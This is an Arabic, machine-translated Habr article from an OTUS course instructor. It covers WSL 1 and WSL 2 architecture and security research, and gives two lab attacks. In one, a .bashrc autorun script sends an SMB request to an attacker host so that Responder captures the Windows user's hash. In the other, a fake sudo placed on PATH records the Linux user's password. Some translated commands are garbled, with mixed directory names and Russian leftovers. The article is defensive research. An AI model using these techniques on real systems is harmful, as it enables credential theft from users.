تجارب WSL. الجزء 1

مرحبًا حبر! تطلق OTUS مسارًا جديدًا للدورة في أكتوبر "أمان Linux". تحسبًا لبدء الدورة، نشارككم مقالًا كتبه أحد أساتذتنا، ألكسندر كولسنيكوف.

في عام 2016، قدمت Microsoft تقنية WSL الجديدة لمجتمع تكنولوجيا المعلومات (Windows Sالنظام الفرعي ل Linux)، والذي جعل من الممكن في المستقبل توحيد المنافسين الذين لم يكن من الممكن التوفيق بينهم سابقًا والذين كانوا يقاتلون من أجل الشعبية بين مستخدمي نظام التشغيل العاديين والمتقدمين: Windows و Linux. أتاحت هذه التقنية استخدام أدوات Linux OS في بيئة Windows دون الحاجة إلى تشغيل Linux، على سبيل المثال، باستخدام Multi-boot. يمكنك أن تجد على موقع حبر عددًا كبيرًا من المقالات التي تصف فوائد استخدام WSL. ومع ذلك، لسوء الحظ، في وقت إنشاء هذه المقالة، لم يتم العثور على أي دراسات حول أمان مثل هذا التعايش بين أنظمة التشغيل على هذا المورد. ستكون هذه المشاركة محاولة لتصحيح هذا. ستتحدث المقالة عن ميزات بنيات WSL 1 و2 وتفحص عدة أمثلة للهجمات على الأنظمة التي تستخدم هذه التقنيات. المقالة مقسمة إلى جزأين. الأول سيوفر طرق الهجوم النظرية الرئيسية من Linux وWindows. ستتضمن المقالة الثانية إعداد بيئة اختبار وإعادة إنتاج الهجمات.

WSL 1: السمات المعمارية

للحصول على الغوص الأكثر دقة في قضايا أمان WSL، من الضروري تحديد الفروق الدقيقة الرئيسية المرتبطة بتنفيذ النظام الفرعي. إحدى مهام المستخدم الرئيسية التي تم حلها بواسطة WSL هي القدرة على العمل من خلال محطة Linux على مضيف يعمل بنظام التشغيل Windows. كما أن التوافق المقدم كان أصليًا جدًا بحيث يمكن تشغيل ملفات Linux القابلة للتنفيذ (ELFs) مباشرة على نظام Windows. ولتحقيق هذه الأهداف، تم إنشاء نظام فرعي خاص في Windows 10 يسمح لك بتشغيل تطبيقات Linux باستخدام مجموعة من استدعاءات النظام المحددة - وبالتالي، جرت محاولة لتعيين مجموعة من استدعاءات نظام Linux على Windows. تم تنفيذ ذلك فعليًا عن طريق إضافة برامج تشغيل جديدة وتنسيق عملية جديد. بصريا تبدو الهندسة المعمارية مثل هذا:

في الواقع، تم تنظيم التفاعل مع نظام التشغيل Linux من خلال العديد من وحدات kernel ونوع خاص من العمليات - Pico. من الرسم البياني أعلاه، يمكنك أن ترى أن العملية التي يتم تشغيلها على مثيل Linux على المضيف يجب أن تكون أصلية ويجب أن تستخدم نفس الموارد مثل تطبيقات Windows العادية. ولكن كيف يمكن تحقيق ذلك؟ في المشروع جسر متحرك تم تطوير مفاهيم العمليات لنظام التشغيل Windows والتي توفر جميع المكونات الضرورية لنظام التشغيل (اعتمادًا على إصداره) لتشغيل تطبيق لنظام تشغيل آخر.

لاحظ أن التجريد المقترح جعل من الممكن عدم التركيز على نظام التشغيل (على وجه الخصوص، Windows)، حيث من المتوقع أن تبدأ عملية نظام تشغيل آخر، واقترح نهجًا عامًا.

وبالتالي، يمكن لأي تطبيق داخل عملية pico أن يعمل دون النظر إلى نواة Windows:

1. يجب حل مشاكل التوافق وترجمة مكالمات النظام بواسطة موفري خدمة خاصين؛
2. يجب أن يتم التحكم في الوصول من خلال مراقب الأمان. توجد الشاشة في النواة وبالتالي يحتاج Windows إلى ترقية في شكل برنامج تشغيل جديد يمكن أن يعمل كموفر لمثل هذه العمليات. يتم عرض عملية النموذج الأولي بيكو بشكل تخطيطي أدناه:

نظرًا لأن نظام ملفات Linux يستخدم أسماء ملفات وأدلة حساسة لحالة الأحرف، تمت إضافة نوعين من أنظمة الملفات إلى Windows للعمل مع WSL - VolFS وDriveFS. VolFS هو تطبيق لنظام ملفات Linux، أما DriveFS فهو نظام ملفات يعمل وفقًا لقواعد Windows، ولكنه يتمتع بالقدرة على تحديد حساسية حالة الأحرف.

WSL 2

كان لدى WSL 1 عدد من القيود التي لم تسمح باستخدامها لحل الحد الأقصى لمجموعة المهام: على سبيل المثال، لم يكن لديها القدرة على تشغيل تطبيقات Linux 32 بت، وكان من المستحيل استخدام برامج تشغيل الأجهزة. لذلك، في عام 2020، تم إصدار WSL 2، والذي غير أسلوب بناء النظام الفرعي. WSL 2 عبارة عن جهاز افتراضي محسّن يتوافق مع خصائص استهلاك الموارد الخاصة بـ WSL 1. الآن، اعتمادا على المشاكل التي تم حلها بواسطة مستخدم نظام التشغيل Windows، يمكنك تحديد الإصدار المطلوب من نظام Linux الفرعي. للتخفيف من نقاط الضعف المحتملة، تم تنفيذ WSL 2 استنادًا إلى Hyper-V في نظام التشغيل Windows 10. وفي هذا النموذج، يتمتع Windows بالقدرة على تشغيل نواة نظام التشغيل Linux بشكل منفصل. تجدر الإشارة إلى أنه تم تقديم الإصدار 1 من WSL كميزة تجريبية كان من المفترض أن تظهر اتجاه تطوير Windows في هذا المجال، لذلك كان الانتقال إلى Hyper-V أمرًا لا مفر منه. تبدو البنية النهائية كما يلي:

في هذا الإصدار، تمتلك نواة Windows وLinux مواردها الخاصة والتقاطع موجود فقط في نظام الملفات، لكن هذا التقاطع لم يكتمل. يتم التفاعل بين أنظمة الملفات من خلال برنامج تضمين خادم العميل الذي يعمل باستخدام بروتوكول 9P.

توفر Microsoft اليوم القدرة على التبديل بين WSL 1 وWSL 2. كلا الإصدارين متاحان للاستخدام.

أمن WSL

في الوقت الحالي، هناك العديد من الأعمال التي تصف بعض الأساليب لاستخدام أدوات نظام التشغيل المشروعة لمهاجمة الاتصال بين الأنظمة الفرعية. سوف نستخدم نصوصهم للتحقق من أهمية الهجمات في وقت كتابة هذا التقرير. القائمة العامة للهجمات والسيناريوهات:

1. تنفيذ نظام الملفات: حقوق الوصول، وتوافر الأدلة المشتركة/آليات تبادل البيانات.

تم إجراء بحث لتحديد انتهاكات قواعد الوصول من Linux FS->Windows FS، Windows FS->Linux FS. أثبتت الأبحاث القدرة على تعديل ملف معين داخل نظام التشغيل المستهدف. كما جرت محاولات لاستبدال وإنشاء نسخ مكررة وحذف جزء من أنظمة الملفات.

السيناريو:

• أ. الهجوم من نظام التشغيل Windows - تعديل الملفات من الدليل /etc لنظام التشغيل Linux.
• ب. الهجوم من نظام التشغيل Linux - تعديل الملفات في الدلائل: C:Windows, C:Program Files, C:Users<User>

2. تنفيذ مكدس الشبكة.

تم إجراء البحث باستخدام أمثلة لهجمات من نظام التشغيل Linux على Windows. تم استخدام ميزات مكدس الشبكة، وهي آليات المصادقة على الموارد المختلفة.

السيناريو:

• فتح الوصول إلى منفذ مشغول على نظام Windows
• فتح منفذ دون الحقوق المناسبة
• تشغيل الصدفة العكسية باستخدام ملف elf على نظام التشغيل Windows.

3. إخفاء إطلاق العمليات البرمجية الضارة باستخدام نظام WSL الفرعي.

اعتمد البحث على حقيقة بسيطة وهي أن أنظمة الأمان الفرعية لا يمكنها اعتراض الأحداث في نواة أخرى تعمل باستخدام مزود شرعي من نظام التشغيل في حالة WSL 1. وفي حالة WSL 2، لا توجد طريقة لعرض الأحداث التي تحدث في نواة منفصلة داخل جهاز افتراضي خفيف الوزن.

السيناريو:

1) قم بتشغيل التطبيق للوصول عن بعد إلى النظام وعرض الأحداث المسجلة.

تجارب WSL 1: اعتراض التجزئة (Windows)

وأخيرا وصلنا إلى الجزء العملي. أولاً، تحتاج إلى إعداد بيئة الاختبار. سيتم تنفيذ جميع التجارب على منصة مثبت عليها نظام التشغيل Windows 10 2004. تم اختيار صورة Ubuntu 18.04 كصورة نظام التشغيل لـ WSL. تم اختيار الصورة بشكل عشوائي، وأي صورة أخرى ستعمل بنفس الطريقة. أوامر لإعداد الموقف:

يجب عليك أولا إطلاق powershell.exe كمسؤول.

بالنسبة لـ WSL 1، تحتاج إلى تشغيل الأوامر:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

بعد إعادة تشغيل الحامل، يمكنك استدعاء الأمر bash. إذا كان كل شيء يعمل بشكل صحيح، فسترى إخراجًا مشابهًا لهذا في وحدة تحكم Windows:

سوف نستخدم توزيعة Kali Linux كجهاز للمهاجم، ويجب أن تكون جميع الأجهزة على نفس الشبكة المحلية.

لنفترض أن لدينا وصولاً غير مميز إلى WSL على جهاز يعمل بنظام Windows. دعنا نحاول مهاجمة نظام التشغيل Linux عن طريق استدعاء أمر من Linux. لتنفيذ الهجوم، سنستخدم تقنية التشغيل التلقائي البسيطة - وسنضيف البرنامج النصي الخاص بنا للتنفيذ في بيئة Linux. للقيام بذلك تحتاج إلى تغيير الملف .bashrc.

على جهاز به WSL نقوم بتنفيذ:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

على جهاز Kali Linux نقوم بتشغيل:

1. Responder -I eth0 -rdvw

على جهاز يعمل بنظام Windows، فلنبدأ تشغيل bash.

نحن في انتظار النتيجة على جهاز Kali Linux:

وبالتالي، حصلنا على تجزئة مستخدم Windows من خلال نظام WSL الفرعي عن طريق تنفيذ الأمر على نظام Linux.

تجارب WSL 1: الحصول على كلمة مرور المستخدم (Linux OS)

دعونا نفعل تجربة أخرى. خلال هذا الفحص سوف نقوم بإضافة إلى الملف .bashrc عدة أوامر للحصول على كلمة مرور مستخدم نظام التشغيل Linux.

لنبدأ تشغيل bash وندخل الأوامر:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

لإكمال الهجوم بنجاح، يحتاج المستخدم Sam إلى استدعاء sudo في محطة Linux. بعد ذلك، ستكون كلمة مرور مستخدم نظام التشغيل Linux موجودة في الملف pass.txt:

تم تنفيذ الهجمات للحصول على معلومات نظرية فقط.

سيصف الجزء التالي من المقالة تنفيذ بروتوكول 9P، والنظر في إنشاء ماسح ضوئي لهذا البروتوكول، وكذلك تنفيذ هجوم باستخدامه.

قائمة الأدب المستخدم

• WSL 2 البحث في السوء
• نظام Windows الفرعي لتوثيق Linux

اقرأ أكثر

• كيفية اختيار برنامج تصحيح نواة Linux في الوقت الحقيقي

المصدر: www.habr.com